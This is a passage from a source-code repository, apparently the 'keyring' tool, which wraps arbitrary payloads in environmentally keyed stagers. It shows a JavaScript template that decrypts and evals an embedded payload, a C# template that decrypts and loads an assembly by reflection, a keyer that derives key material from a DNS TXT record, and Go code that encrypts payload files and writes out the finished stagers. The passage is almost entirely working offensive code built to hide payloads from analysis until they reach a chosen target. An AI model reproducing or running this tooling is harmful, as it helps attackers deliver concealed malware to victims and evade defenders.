combos.length; k++) { 77 | var key = combos[k].toLowerCase() + path.toLowerCase(); 78 | 79 | key = getSHA512(key); 80 | key = key.substring(0,32); 81 | try { 82 | var decrypted = decryptAES(encrypted, key, aesIVBase64) 83 | if(compareHash(decrypted, payloadHash, minusBytes)) { 84 | eval(decrypted); 85 | return; 86 | } 87 | } 88 | catch(err) {} 89 | } 90 | return ""; 91 | } 92 | 93 | {{.Functions}} 94 | 95 | var idx = 0; 96 | do { 97 | var chains = [], combos = []; 98 | chains.push(""); 99 | combos.push(""); 100 | 101 | {{.Callers}} 102 | 103 | combos = getCombinations(combos); 104 | for(i = 0; i < chains.length; i++) { 105 | tryKeyCombos(combos, chains[i], "{{.EncryptedBase64}}", "{{.PayloadHash}}", "{{.AESIVBase64}}", {{.MinusBytes}}) 106 | } 107 | idx++; 108 | } while(idx < {{.Retries}}); 109 | 110 | 111 | -------------------------------------------------------------------------------- /data/csharp/lang.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | csharp 4 | cs 5 | 6 | using System; 7 | using System.Collections.Generic; 8 | using System.Reflection; 9 | using System.Runtime.InteropServices; 10 | using System.Security.Cryptography; 11 | using System.Text; 12 | 13 | namespace Keyring 14 | { 15 | class Program 16 | { 17 | static void Main(string[] args) 18 | { 19 | string fun = "{{.EncryptedBase64}}"; 20 | string chk = "{{.PayloadHash}}"; 21 | byte[] encryptedBlob = Convert.FromBase64String(fun); 22 | byte[] aesIV = Convert.FromBase64String("{{.AESIVBase64}}"); 23 | int idx = 0; 24 | Encoding utf8 = Encoding.UTF8; 25 | do 26 | { 27 | List<string> combos = new List<string>(); 28 | List<string> chains = new List<string>(); 29 | chains.Add(""); 30 | 31 | {{.Callers}} 32 | 33 | combos = GetCombinations(combos); 34 | combos.Add(""); 35 | foreach(string chain in chains) 36 | { 37 | if(TryKeyCombos(combos, chain, encryptedBlob, aesIV, chk, utf8)) 38 | { 39 | return; 40 | } 41 | } 42 | {{if .Sleep}} 43 | System.Threading.Thread.Sleep({{.Sleep}} * 1000); 44 | {{end}} 45 | idx++; 46 | } while(idx < {{.Retries}}); 47 | } 48 | 49 | private static bool TryKeyCombos(List<string> combos, string chain, byte[] encryptedBlob, byte[] aesIV, string payloadHash, Encoding e) 50 | { 51 | foreach(string combo in combos) 52 | { 53 | try 54 | { 55 | byte[] key = e.GetBytes((combo + chain).ToLower()); 56 | string keyHash = SHA512(key, 0); 57 | byte[] decr = AESDecrypt(e.GetBytes(keyHash), encryptedBlob, aesIV); 58 | string decr_hash = SHA512(decr, {{.MinusBytes}}); 59 | if(payloadHash == decr_hash) 60 | { 61 | Assembly a = Assembly.Load(decr); 62 | Type type = a.GetType("{{.AssemblyType}}"); 63 | MethodInfo methodInfo = type.GetMethod("{{.AssemblyMethod}}"); 64 | if (methodInfo == null) { continue; } 65 | var o = Activator.CreateInstance(type); 66 | object[] arguments = null; 67 | methodInfo.Invoke(o, arguments); 68 | return true; 69 | } 70 | } 71 | catch { } 72 | } 73 | return false; 74 | } 75 | 76 | //https://stackoverflow.com/questions/7802822/all-possible-combinations-of-a-list-of-values 77 | private static List<string> GetCombinations(List<string> list) 78 | { 79 | List<string> result = new List<string>(); 80 | double count = Math.Pow(2, list.Count); 81 | for (int i = 1; i <= count - 1; i++) 82 | { 83 | string s = ""; 84 | string str = Convert.ToString(i, 2).PadLeft(list.Count, '0'); 85 | for (int j = 0; j < str.Length; j++) 86 | { 87 | if (str[j] == '1') 88 | { 89 | s = s + list[j]; 90 | } 91 | } 92 | result.Add(s); 93 | } 94 | return result; 95 | } 96 | 97 | private static bool ByteArrayCompare(byte[] a1, byte[] a2) 98 | { 99 | if (a1.Length != a2.Length) 100 | return false; 101 | 102 | for (int i = 0; i < a1.Length; i++) 103 | if (a1[i] != a2[i]) 104 | return false; 105 | 106 | return true; 107 | } 108 | 109 | private static string SHA512(byte[] bytes, int mb) 110 | { 111 | byte[] hashMe = new byte[bytes.Length - mb]; 112 | Array.Copy(bytes, hashMe, bytes.Length - mb); 113 | 114 | string hash; 115 | using (SHA512Managed hasher = new SHA512Managed()) 116 | { 117 | byte[] hashBytes = hasher.ComputeHash(hashMe); 118 | hash = ToHex(hashBytes); 119 | } 120 | return hash; 121 | } 122 | 123 | //https://stackoverflow.com/questions/46194754/how-to-hex-encode-a-sha-256-hash 124 | private static string ToHex(byte[] bytes) 125 | { 126 | StringBuilder result = new StringBuilder(bytes.Length * 2); 127 | for (int i = 0; i < bytes.Length; i++) 128 | result.Append(bytes[i].ToString("x2")); 129 | return result.ToString(); 130 | } 131 | 132 | private static byte[] AESDecrypt(byte[] sha512, byte[] bytes, byte[] iv) 133 | { 134 | byte[] key = new byte[32]; 135 | Array.Copy(sha512, 0, key, 0, 32); 136 | 137 | var aes = new RijndaelManaged(); 138 | aes.Padding = PaddingMode.PKCS7; 139 | aes.Key = key; 140 | aes.IV = iv; 141 | aes.Mode = CipherMode.CBC; 142 | return aes.CreateDecryptor().TransformFinalBlock(bytes, 0, bytes.Length); 143 | } 144 | {{.Functions}} 145 | } 146 | } 147 | 148 | 149 | -------------------------------------------------------------------------------- /data/csharp/keyers/dnskey.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | DNS Key 4 | Makes a DNS query using P/Invoke and WinAPI to retrieve a TXT record and hashes the response. 5 | combo 6 | 1 7 | 8 | Number of inputs: 1 9 | Input 1: FQDN hostname 10 | ex) host.domain.com 11 | 12 | 13 | } 14 | 15 | // taken from https://github.com/Arno0x/DNSExfiltrator 16 | public class DnsResolver 17 | { 18 | [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true, ExactSpelling = true)] 19 | private static extern int DnsQuery([MarshalAs(UnmanagedType.VBByRefStr)]ref string pszName, DnsRecordTypes wType, DnsQueryOptions options, ref IP4_ARRAY dnsServerIpArray, ref IntPtr ppQueryResults, int pReserved); 20 | 21 | [DllImport("dnsapi", CharSet = CharSet.Auto, SetLastError = true)] 22 | private static extern void DnsRecordListFree(IntPtr pRecordList, int FreeType); 23 | 24 | public static string GetTXTRecord(string domain) 25 | { 26 | IntPtr recordsArray = IntPtr.Zero; 27 | IntPtr dnsRecord = IntPtr.Zero; 28 | TXTRecord txtRecord; 29 | IP4_ARRAY dnsServerArray = new IP4_ARRAY(); 30 | 31 | System.Collections.ArrayList recordList = new System.Collections.ArrayList(); 32 | try 33 | { 34 | int queryResult = DnsResolver.DnsQuery(ref domain, DnsRecordTypes.DNS_TYPE_TXT, DnsQueryOptions.DNS_QUERY_BYPASS_CACHE, ref dnsServerArray, ref recordsArray, 0); 35 | 36 | // Check for error 37 | if (queryResult != 0) 38 | { 39 | return ""; 40 | } 41 | 42 | // Loop through the result record list 43 | for (dnsRecord = recordsArray; !dnsRecord.Equals(IntPtr.Zero); dnsRecord = txtRecord.pNext) 44 | { 45 | txtRecord = (TXTRecord)Marshal.PtrToStructure(dnsRecord, typeof(TXTRecord)); 46 | if (txtRecord.wType == (int)DnsRecordTypes.DNS_TYPE_TXT) 47 | { 48 | //Console.WriteLine("Size of array: {0}",txtRecord.dwStringCount); 49 | string txt = Marshal.PtrToStringAuto(txtRecord.pStringArray); 50 | recordList.Add(txt); 51 | } 52 | } 53 | } 54 | finally 55 | { 56 | DnsResolver.DnsRecordListFree(recordsArray, 0); 57 | } 58 | 59 | // Return only the first TXT answer 60 | return (string)recordList[0]; 61 | } 62 | 63 | public struct IP4_ARRAY 64 | { 65 | /// DWORD->unsigned int 66 | public UInt32 AddrCount; 67 | /// IP4_ADDRESS[1] 68 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1, ArraySubType = UnmanagedType.U4)] 69 | public UInt32[] AddrArray; 70 | } 71 | 72 | [StructLayout(LayoutKind.Sequential)] 73 | private struct TXTRecord 74 | { 75 | // Generic DNS record structure 76 | public IntPtr pNext; 77 | public string pName; 78 | public short wType; 79 | public short wDataLength; 80 | public int flags; 81 | public int dwTtl; 82 | public int dwReserved; 83 | 84 | // TXT record specific 85 | public int dwStringCount; 86 | public IntPtr pStringArray; 87 | 88 | } 89 | 90 | [Flags] 91 | private enum DnsQueryOptions 92 | { 93 | DNS_QUERY_STANDARD = 0x0, 94 | DNS_QUERY_ACCEPT_TRUNCATED_RESPONSE = 0x1, 95 | DNS_QUERY_USE_TCP_ONLY = 0x2, 96 | DNS_QUERY_NO_RECURSION = 0x4, 97 | DNS_QUERY_BYPASS_CACHE = 0x8, 98 | DNS_QUERY_NO_WIRE_QUERY = 0x10, 99 | DNS_QUERY_NO_LOCAL_NAME = 0x20, 100 | DNS_QUERY_NO_HOSTS_FILE = 0x40, 101 | DNS_QUERY_NO_NETBT = 0x80, 102 | DNS_QUERY_WIRE_ONLY = 0x100, 103 | DNS_QUERY_RETURN_MESSAGE = 0x200, 104 | DNS_QUERY_MULTICAST_ONLY = 0x400, 105 | DNS_QUERY_NO_MULTICAST = 0x800, 106 | DNS_QUERY_TREAT_AS_FQDN = 0x1000, 107 | DNS_QUERY_ADDRCONFIG = 0x2000, 108 | DNS_QUERY_DUAL_ADDR = 0x4000, 109 | DNS_QUERY_MULTICAST_WAIT = 0x20000, 110 | DNS_QUERY_MULTICAST_VERIFY = 0x40000, 111 | DNS_QUERY_DONT_RESET_TTL_VALUES = 0x100000, 112 | DNS_QUERY_DISABLE_IDN_ENCODING = 0x200000, 113 | DNS_QUERY_APPEND_MULTILABEL = 0x800000, 114 | DNS_QUERY_RESERVED = unchecked((int)0xF0000000) 115 | } 116 | 117 | private enum DnsRecordTypes 118 | { 119 | DNS_TYPE_A = 0x1, 120 | DNS_TYPE_NS = 0x2, 121 | DNS_TYPE_MD = 0x3, 122 | DNS_TYPE_MF = 0x4, 123 | DNS_TYPE_CNAME = 0x5, 124 | DNS_TYPE_SOA = 0x6, 125 | DNS_TYPE_MB = 0x7, 126 | DNS_TYPE_MG = 0x8, 127 | DNS_TYPE_MR = 0x9, 128 | DNS_TYPE_NULL = 0xA, 129 | DNS_TYPE_WKS = 0xB, 130 | DNS_TYPE_PTR = 0xC, 131 | DNS_TYPE_HINFO = 0xD, 132 | DNS_TYPE_MINFO = 0xE, 133 | DNS_TYPE_MX = 0xF, 134 | DNS_TYPE_TEXT = 0x10, 135 | DNS_TYPE_TXT = DNS_TYPE_TEXT, 136 | DNS_TYPE_RP = 0x11, 137 | DNS_TYPE_AFSDB = 0x12, 138 | DNS_TYPE_X25 = 0x13, 139 | DNS_TYPE_ISDN = 0x14, 140 | DNS_TYPE_RT = 0x15, 141 | DNS_TYPE_NSAP = 0x16, 142 | DNS_TYPE_NSAPPTR = 0x17, 143 | DNS_TYPE_SIG = 0x18, 144 | DNS_TYPE_KEY = 0x19, 145 | DNS_TYPE_PX = 0x1A, 146 | DNS_TYPE_GPOS = 0x1B, 147 | DNS_TYPE_AAAA = 0x1C, 148 | DNS_TYPE_LOC = 0x1D, 149 | DNS_TYPE_NXT = 0x1E, 150 | DNS_TYPE_EID = 0x1F, 151 | DNS_TYPE_NIMLOC = 0x20, 152 | DNS_TYPE_SRV = 0x21, 153 | DNS_TYPE_ATMA = 0x22, 154 | DNS_TYPE_NAPTR = 0x23, 155 | DNS_TYPE_KX = 0x24, 156 | DNS_TYPE_CERT = 0x25, 157 | DNS_TYPE_A6 = 0x26, 158 | DNS_TYPE_DNAME = 0x27, 159 | DNS_TYPE_SINK = 0x28, 160 | DNS_TYPE_OPT = 0x29, 161 | DNS_TYPE_DS = 0x2B, 162 | DNS_TYPE_RRSIG = 0x2E, 163 | DNS_TYPE_NSEC = 0x2F, 164 | DNS_TYPE_DNSKEY = 0x30, 165 | DNS_TYPE_DHCID = 0x31, 166 | DNS_TYPE_UINFO = 0x64, 167 | DNS_TYPE_UID = 0x65, 168 | DNS_TYPE_GID = 0x66, 169 | DNS_TYPE_UNSPEC = 0x67, 170 | DNS_TYPE_ADDRS = 0xF8, 171 | DNS_TYPE_TKEY = 0xF9, 172 | DNS_TYPE_TSIG = 0xFA, 173 | DNS_TYPE_IXFR = 0xFB, 174 | DNS_TYPE_AFXR = 0xFC, 175 | DNS_TYPE_MAILB = 0xFD, 176 | DNS_TYPE_MAILA = 0xFE, 177 | DNS_TYPE_ALL = 0xFF, 178 | DNS_TYPE_ANY = 0xFF, 179 | DNS_TYPE_WINS = 0xFF01, 180 | DNS_TYPE_WINSR = 0xFF02, 181 | DNS_TYPE_NBSTAT = DNS_TYPE_WINSR 182 | } 183 | 184 | 185 | combos.Add(SHA512(utf8.GetBytes(DnsResolver.GetTXTRecord("{{index .Inputs 0}}")), 0)); 186 | 187 | 188 | 189 | -------------------------------------------------------------------------------- /lib/codeutils.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import ( 4 | "bytes" 5 | "encoding/xml" 6 | "fmt" 7 | "gopkg.in/yaml.v2" 8 | "io/ioutil" 9 | "os" 10 | "path/filepath" 11 | "regexp" 12 | "strings" 13 | "text/template" 14 | ) 15 | 16 | var KeyringDataPath string 17 | 18 | // Config holds the settings chosen by the user 19 | type Config struct { 20 | Language string `yaml:"language"` 21 | PayloadFile string `yaml:"payloadFile"` 22 | OutputFile string `yaml:"outputFile"` 23 | Keyers []ConfigKeyer `yaml:"keyers"` 24 | Retries string `yaml:"retries"` 25 | Sleep string `yaml:"sleep"` 26 | BaseCode string `yaml:"baseCode"` 27 | // Used for C# payloads 28 | AssemblyType string `yaml:"assemblyType"` 29 | AssemblyMethod string `yaml:"assemblyMethod"` 30 | } 31 | 32 | // Keyer options provided within a config file 33 | type ConfigKeyer struct { 34 | Name string `yaml:"name"` 35 | Inputs []string `yaml:"inputs"` 36 | Output string `yaml:"keydata"` 37 | } 38 | 39 | // Language object stores basic info for each language 40 | // This data will come from the lang.xml file in the root 41 | // directory of the language's directory 42 | type Language struct { 43 | Name string `xml:"name"` 44 | Extension string `xml:"extension"` 45 | BaseCode string `xml:"baseCode"` 46 | } 47 | 48 | // Keyer stores information related to each keyer: 49 | // Name: name of the keyer 50 | // Description: brief description of the keyer 51 | // Type: the type of keyer: combo or chain 52 | // InputNum: number of inputs that need to be provided from user 53 | // Function: primary function that will be called to return something to 54 | // use as a part of the decryption key 55 | // Caller: additional code that will call the function and append to the 56 | // relevant array to eventually build the decryption key 57 | type Keyer struct { 58 | Name string 59 | Title string `xml:"title"` 60 | Description string `xml:"description"` 61 | Type string `xml:"type"` 62 | InputNum int `xml:"inputnum"` 63 | InputHelp string `xml:"inputhelp"` 64 | Function string `xml:"function"` 65 | Caller string `xml:"caller"` 66 | } 67 | 68 | // 69 | // Code Section functions 70 | // 71 | 72 | // ParseLanguage takes a given language, finds the filename and returns the Language struct 73 | func ParseLanguage(lang string) (Language, error) { 74 | langFile := fmt.Sprintf("%s/%s/lang.xml", KeyringDataPath, lang) 75 | langBytes, err := ReadFile(langFile) 76 | if err != nil { 77 | return Language{}, err 78 | } 79 | 80 | var l Language 81 | xml.Unmarshal(langBytes, &l) 82 | return l, nil 83 | } 84 | 85 | // ParseKeyer takes a given language and keyer name, appends '.xml' then calls ParseKeyerFile 86 | func ParseKeyer(lang, keyer string) (Keyer, error) { 87 | keyer = keyer + ".xml" 88 | return ParseKeyerFile(lang, keyer) 89 | } 90 | 91 | // ParseKeyerFile takes a given language and keyer filename, then returns the Keyer struct 92 | func ParseKeyerFile(lang, keyerFileName string) (Keyer, error) { 93 | keyerFile := fmt.Sprintf("%s/%s/keyers/%s", KeyringDataPath, lang, keyerFileName) 94 | keyerBytes, err := ReadFile(keyerFile) 95 | if err != nil { 96 | return Keyer{}, err 97 | } 98 | 99 | var k Keyer 100 | k.Name = strings.TrimSuffix(keyerFileName, ".xml") 101 | xml.Unmarshal(keyerBytes, &k) 102 | return k, nil 103 | } 104 | 105 | // GetLanguages returns all the langs based on directories in ./data 106 | func GetLanguages() []string { 107 | items, err := ioutil.ReadDir(KeyringDataPath) 108 | if err != nil { 109 | fmt.Printf("[!] Error reading folders under %s: %s\n", KeyringDataPath, err) 110 | return nil 111 | } 112 | 113 | var langs []string 114 | for _, item := range items { 115 | if item.IsDir() { 116 | langs = append(langs, item.Name()) 117 | } 118 | } 119 | 120 | return langs 121 | } 122 | 123 | // GetCodeFiles gets all xml files under the specified code section directory 124 | func GetCodeFiles(lang, section string) []string { 125 | ext := ".xml" 126 | 127 | folderPath := fmt.Sprintf("%s/%s/%s/", KeyringDataPath, lang, section) 128 | items, err := ioutil.ReadDir(folderPath) 129 | if err != nil { 130 | fmt.Printf("[!] Error reading folders under %s: %s\n", folderPath, err) 131 | return nil 132 | } 133 | 134 | var codeFiles []string 135 | for _, item := range items { 136 | if !item.IsDir() { 137 | // https://gist.github.com/aln787/ea40d18cc33c7a983549 138 | r, err := regexp.MatchString(ext+"$", item.Name()) 139 | if err == nil && r { 140 | codeFiles = append(codeFiles, item.Name()) 141 | } 142 | } 143 | } 144 | return codeFiles 145 | } 146 | 147 | // PrintCodeFile shows the module path in a nicer format 148 | func PrintCodeFile(m string) string { 149 | return strings.TrimSuffix(strings.TrimPrefix(m, "data/"), ".xml") 150 | } 151 | 152 | // 153 | // Config file functions 154 | // 155 | 156 | // ParseConfigFile reads a provided config file and sets up the Config struct 157 | func ParseConfigFile(path string) (Config, error) { 158 | keyerBytes, err := ReadFile(path) 159 | if err != nil { 160 | return Config{}, err 161 | } 162 | 163 | var c Config 164 | err = yaml.Unmarshal(keyerBytes, &c) 165 | if err != nil { 166 | return Config{}, err 167 | } 168 | return c, nil 169 | } 170 | 171 | // ConfigLintCheck validates the config file 172 | func ConfigLintCheck(config Config) (bool, []string) { 173 | // check if language exists 174 | if !StrInSlice(config.Language, GetLanguages()) { 175 | return false, []string{"Language not supported"} 176 | } 177 | 178 | // make sure there's at least one keyer 179 | if len(config.Keyers) == 0 { 180 | return false, []string{"No Keyers supplied"} 181 | } 182 | 183 | var errorsDetected []string 184 | // check if payload file exists 185 | if _, err := os.Stat(config.PayloadFile); os.IsNotExist(err) { 186 | errorsDetected = append(errorsDetected, config.PayloadFile+" file could not be found") 187 | } 188 | 189 | // run checks on each keyer 190 | for _, keyer := range config.Keyers { 191 | // Parsing the keyer will tell us if it actually exists 192 | keyerObj, err := ParseKeyer(config.Language, keyer.Name) 193 | if err != nil { 194 | e := fmt.Sprintf("Keyer '%s' does not exist", keyer.Name) 195 | errorsDetected = append(errorsDetected, e) 196 | continue 197 | } 198 | 199 | // check if keyer type is "combo" or "chain" 200 | if keyerObj.Type != "chain" && keyerObj.Type != "combo" { 201 | e := fmt.Sprintf("Keyer '%s' type is not valid: %s", keyer.Name, keyerObj.Type) 202 | errorsDetected = append(errorsDetected, e) 203 | } 204 | 205 | // Check length of inputs 206 | if len(keyer.Inputs) != keyerObj.InputNum { 207 | e := keyer.Name + " inputs do not match expected inputs" 208 | errorsDetected = append(errorsDetected, e) 209 | } 210 | 211 | } 212 | if len(errorsDetected) > 0 { 213 | return false, errorsDetected 214 | } 215 | return true, nil 216 | } 217 | 218 | // 219 | // Template Stuff 220 | // 221 | 222 | // InputTemplate holds the Inputs so it can be sent to UpdateTemplate() 223 | type InputTemplate struct { 224 | Input []string 225 | } 226 | 227 | // FinalCodeTemplate holds the placeholders within the BaseCode of a language 228 | // Updating these values results in the final code 229 | type FinalCodeTemplate struct { 230 | Functions string 231 | Callers string 232 | EncryptedBase64 string 233 | PayloadHash string 234 | AESIVBase64 string 235 | MinusBytes string 236 | Retries string 237 | Sleep string 238 | // Used for C# payloads 239 | AssemblyType string 240 | AssemblyMethod string 241 | } 242 | 243 | // UpdateTemplate replaces placeholders within code files with structs 244 | func UpdateTemplate(code string, data interface{}) (string, error) { 245 | tpl := template.Must(template.New("code").Parse(code)) 246 | //tpl, err := template.Parse(code) 247 | buf := &bytes.Buffer{} 248 | err := tpl.ExecuteTemplate(buf, "code", data) 249 | return buf.String(), err 250 | } 251 | 252 | // GetKeyringDataPath finds out where keyring is running and where the ./data directory is 253 | func GetKeyringDataPath() { 254 | dir, err := filepath.Abs(filepath.Dir(os.Args[0])) 255 | if err != nil { 256 | KeyringDataPath = "./data" 257 | return 258 | } 259 | 260 | dir += "/data" 261 | 262 | if _, err := os.Stat(dir); os.IsNotExist(err) { 263 | KeyringDataPath = "./data" 264 | return 265 | } 266 | 267 | KeyringDataPath = dir 268 | } 269 | -------------------------------------------------------------------------------- /keyring.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "flag" 6 | "fmt" 7 | "math/rand" 8 | "runtime" 9 | "strconv" 10 | "strings" 11 | "time" 12 | 13 | "github.com/leoloobeek/keyring/lib" 14 | ) 15 | 16 | func main() { 17 | flag.Usage = usage 18 | conf := flag.String("config", "", "Config file to read.") 19 | request := flag.String("request", "", "Request and retrieve an HTTP or DNS key.") 20 | helpKeyer := flag.String("help-keyer", "", "Show detailed help information for a specific keyer. expects /") 21 | listLangs := flag.Bool("list-langs", false, "List all languages.") 22 | listKeyers := flag.String("list-keyers", "", "List all keyers for a specified language.") 23 | lint := flag.Bool("lint", false, "Check config file for errors and print functionality without running GoGreen.") 24 | flag.Parse() 25 | 26 | banner() 27 | 28 | lib.GetKeyringDataPath() 29 | 30 | // If we're just going to request a DNS or HTTP key, lets do that and get out 31 | if *request != "" { 32 | retrieveRemoteKeys(*request) 33 | return 34 | } 35 | 36 | // Print help details for a keyer 37 | if *helpKeyer != "" { 38 | PrintKeyerHelp(*helpKeyer) 39 | return 40 | } 41 | 42 | // List all languages 43 | if *listLangs { 44 | listAllSupportedLangs() 45 | return 46 | } 47 | 48 | // List all keyers 49 | if *listKeyers != "" { 50 | listAllSupportedKeyers(*listKeyers) 51 | return 52 | } 53 | 54 | if *conf == "" { 55 | fmt.Println("[!] No config file provided") 56 | return 57 | } 58 | // Read in the config file 59 | config, err := lib.ParseConfigFile(*conf) 60 | if err != nil { 61 | fmt.Printf("[!] Error received parsing config file: %s\n", err) 62 | return 63 | } 64 | 65 | // Make sure config settings are valid 66 | result, errorsFound := lib.ConfigLintCheck(config) 67 | if !result { 68 | fmt.Println("[!] Config file contains invalid entries!") 69 | fmt.Printf("Errors detected from %s:\n", *conf) 70 | for _, e := range errorsFound { 71 | fmt.Printf("\t%s\n", e) 72 | } 73 | return 74 | } 75 | 76 | if *lint { 77 | fmt.Printf("[+] Config file %s valid", *conf) 78 | return 79 | } 80 | 81 | finalKey, keyHash, payloadHash, outputFile, minusBytes := Run(config) 82 | 83 | fmt.Println() 84 | fmt.Println(" Raw Key:") 85 | fmt.Printf(" %s\n", finalKey) 86 | fmt.Println(" Final Key Hash:") 87 | fmt.Printf(" %s\n", keyHash) 88 | fmt.Println(" Payload Hash (Minus Bytes):") 89 | fmt.Printf(" %s (%d)\n", payloadHash, minusBytes) 90 | fmt.Printf(" Payload written to %s\n", outputFile) 91 | fmt.Println() 92 | } 93 | 94 | // Run does all the fun stuff 95 | func Run(config lib.Config) (string, string, string, string, int) { 96 | 97 | // Read in payload and get hash 98 | payloadBytes, payloadHash, minusBytes := GetPayloadDetails(config.PayloadFile, "sha512") 99 | 100 | // Variables to hold things 101 | var callers bytes.Buffer 102 | var keyCombos bytes.Buffer 103 | var keyChains bytes.Buffer 104 | // string holds the keyer name the function came from to avoid holding more 105 | // than one function per keyer 106 | functionMap := map[string]string{} 107 | 108 | // Loop through each keyer and get necessary info 109 | for _, keyer := range config.Keyers { 110 | keyerObj, err := lib.ParseKeyer(config.Language, keyer.Name) 111 | if err != nil { 112 | fmt.Printf("[!] Unknown keyer: %s\n", keyer.Name) 113 | } 114 | 115 | funcExists := false 116 | // check if this function has already been added 117 | for f := range functionMap { 118 | if f == keyer.Name { 119 | funcExists = true 120 | } 121 | } 122 | // add function if it hasn't already been added 123 | if !funcExists { 124 | function, err := lib.UpdateTemplate(keyerObj.Function, keyer) 125 | if err != nil { 126 | fmt.Printf("[!] Error updating %s's function template with inputs\n", keyer.Name) 127 | fmt.Println(err) 128 | } 129 | functionMap[keyer.Name] = strings.Trim(function, "\n ") 130 | } 131 | 132 | // update the callers 133 | caller, err := lib.UpdateTemplate(keyerObj.Caller, keyer) 134 | if err != nil { 135 | fmt.Printf("[!] Error updating %s's keyer template with inputs\n", keyer.Name) 136 | fmt.Println(err) 137 | } 138 | callers.WriteString(strings.Trim(caller, "\n ")) 139 | 140 | // finally, update the key depending on type 141 | if keyerObj.Type == "chain" { 142 | keyChains.WriteString(keyer.Output) 143 | callers.WriteString("\n") 144 | } else if keyerObj.Type == "combo" { 145 | keyCombos.WriteString(keyer.Output) 146 | callers.WriteString("\n") 147 | } else { 148 | fmt.Printf("[!] The keyer type %s is unknown\n", keyerObj.Type) 149 | } 150 | } 151 | // convert map to a string for use 152 | functions := functionMapToString(functionMap) 153 | 154 | finalKey := strings.ToLower(keyCombos.String() + keyChains.String()) 155 | keyHash, err := lib.GenerateHash([]byte(finalKey), "sha512") 156 | if err != nil { 157 | fmt.Println("[!] Error generating hash for final key") 158 | } 159 | 160 | // Returns base64 encoded ciphertext and base64 encoded IV 161 | encryptedB64, ivB64, err := lib.AESEncrypt([]byte(keyHash[:32]), payloadBytes) 162 | if err != nil { 163 | fmt.Printf("[!] Error received encrypting: %s", err) 164 | return "", "", "", "", 0 165 | } 166 | 167 | base, _ := lib.ParseLanguage(config.Language) 168 | 169 | // empty sleep var if retries = 0 170 | if config.Retries == "0" { 171 | config.Sleep = "" 172 | } 173 | 174 | minusByteString := strconv.Itoa(minusBytes) 175 | placeholders := lib.FinalCodeTemplate{ 176 | Functions: functions, 177 | Callers: callers.String(), 178 | EncryptedBase64: encryptedB64, 179 | AESIVBase64: ivB64, 180 | PayloadHash: payloadHash, 181 | MinusBytes: minusByteString, 182 | Retries: config.Retries, 183 | Sleep: config.Sleep, 184 | } 185 | 186 | additionalLangUpdates(base.Name, &placeholders, &config) 187 | 188 | finalCode, err := lib.UpdateTemplate(base.BaseCode, placeholders) 189 | if err != nil { 190 | fmt.Printf("[!] Error updating final template: %s\n", err) 191 | return "", "", "", "", 0 192 | } 193 | 194 | if config.OutputFile == "" { 195 | config.OutputFile = "output." + base.Extension 196 | } 197 | 198 | lib.WriteFile(config.OutputFile, []byte(finalCode)) 199 | 200 | return finalKey, keyHash, payloadHash, config.OutputFile, minusBytes 201 | } 202 | 203 | // additionalLangUpdates adds in any other FinalCodeTemplate attributes which are 204 | // specific to certain languages. Wish this wasn't needed, but some languages just 205 | // need a little more data. 206 | func additionalLangUpdates(language string, fct *lib.FinalCodeTemplate, config *lib.Config) { 207 | if language == "csharp" { 208 | fct.AssemblyType = config.AssemblyType 209 | fct.AssemblyMethod = config.AssemblyMethod 210 | } 211 | } 212 | 213 | // PrintKeyerHelp takes / and prints keyer help if valid 214 | func PrintKeyerHelp(input string) { 215 | s := strings.Split(input, "/") 216 | if len(s) != 2 { 217 | fmt.Println("[!] / expected. Use '-list' to find available keyers") 218 | return 219 | } 220 | keyer, err := lib.ParseKeyer(s[0], s[1]) 221 | if err != nil { 222 | fmt.Printf("[!] Error trying to parse %s: %s", input, err) 223 | return 224 | } 225 | fmt.Printf("Keyer: %s\n", keyer.Name) 226 | fmt.Printf("\t%s\n", keyer.Title) 227 | fmt.Printf("Type: %s\n", keyer.Type) 228 | fmt.Println(strings.Trim(keyer.InputHelp, "\n ")) 229 | } 230 | 231 | // GetPayloadDetails reads in the payload file and returns the contents, 232 | // payload hash, and minus bytes. Minus bytes are randomly chosen between 233 | // len(payload)/2 -> len(payload)-1 234 | func GetPayloadDetails(payloadFile, hashType string) ([]byte, string, int) { 235 | fileContents, err := lib.ReadFile(payloadFile) 236 | if err != nil { 237 | fmt.Printf("[!] %s: %s\n", payloadFile, err) 238 | return nil, "", 0 239 | } 240 | 241 | // Figure out Minus Bytes 242 | num := len(fileContents) / 2 243 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 244 | minusBytes := r.Intn(num) 245 | if minusBytes == 0 { 246 | minusBytes = 1 247 | } 248 | index := len(fileContents) - minusBytes 249 | 250 | // Generate the hash of the payload for a checksum 251 | payloadHash, err := lib.GenerateHash(fileContents[:index], hashType) 252 | if err != nil { 253 | fmt.Printf("[!] Error generating hash for payload: %s\n", err) 254 | return nil, "", 0 255 | } 256 | 257 | return fileContents, payloadHash, minusBytes 258 | } 259 | 260 | func listAllSupportedLangs() { 261 | fmt.Println("Supported Languages:") 262 | supportedLangs := lib.GetLanguages() 263 | 264 | for _, lang := range supportedLangs { 265 | l, err := lib.ParseLanguage(lang) 266 | if err != nil { 267 | fmt.Printf("[!] Error parsing %s: %s\n", lang, err) 268 | continue 269 | } 270 | fmt.Printf("- %s\n", l.Name) 271 | } 272 | } 273 | 274 | // list all keyers for provided language 275 | func listAllSupportedKeyers(lang string) { 276 | l, err := lib.ParseLanguage(lang) 277 | if err != nil { 278 | fmt.Printf("[!] Error parsing %s: %s\n", lang, err) 279 | return 280 | } 281 | fmt.Printf("Supported Keyers (%s):\n", l.Name) 282 | for _, codeFile := range lib.GetCodeFiles(lang, "keyers") { 283 | k, err := lib.ParseKeyerFile(lang, codeFile) 284 | if err != nil { 285 | fmt.Printf("[!] Error parsing %s: %s\n", codeFile, err) 286 | continue 287 | } 288 | fmt.Printf(" - %s (%s)\n", k.Name, k.Title) 289 | fmt.Printf("\t%s\n", k.Description) 290 | } 291 | } 292 | 293 | // build functions string through values of functionMap 294 | func functionMapToString(fMap map[string]string) string { 295 | var functions bytes.Buffer 296 | for _, value := range fMap { 297 | functions.WriteString(value) 298 | functions.WriteString("\n") 299 | } 300 | return functions.String() 301 | } 302 | 303 | // handles -request flag to retrieve a DNS or HTTP key 304 | func retrieveRemoteKeys(request string) { 305 | // if request is a URL, obtain an HTTP key 306 | if strings.HasPrefix(request, "http://") || strings.HasPrefix(request, 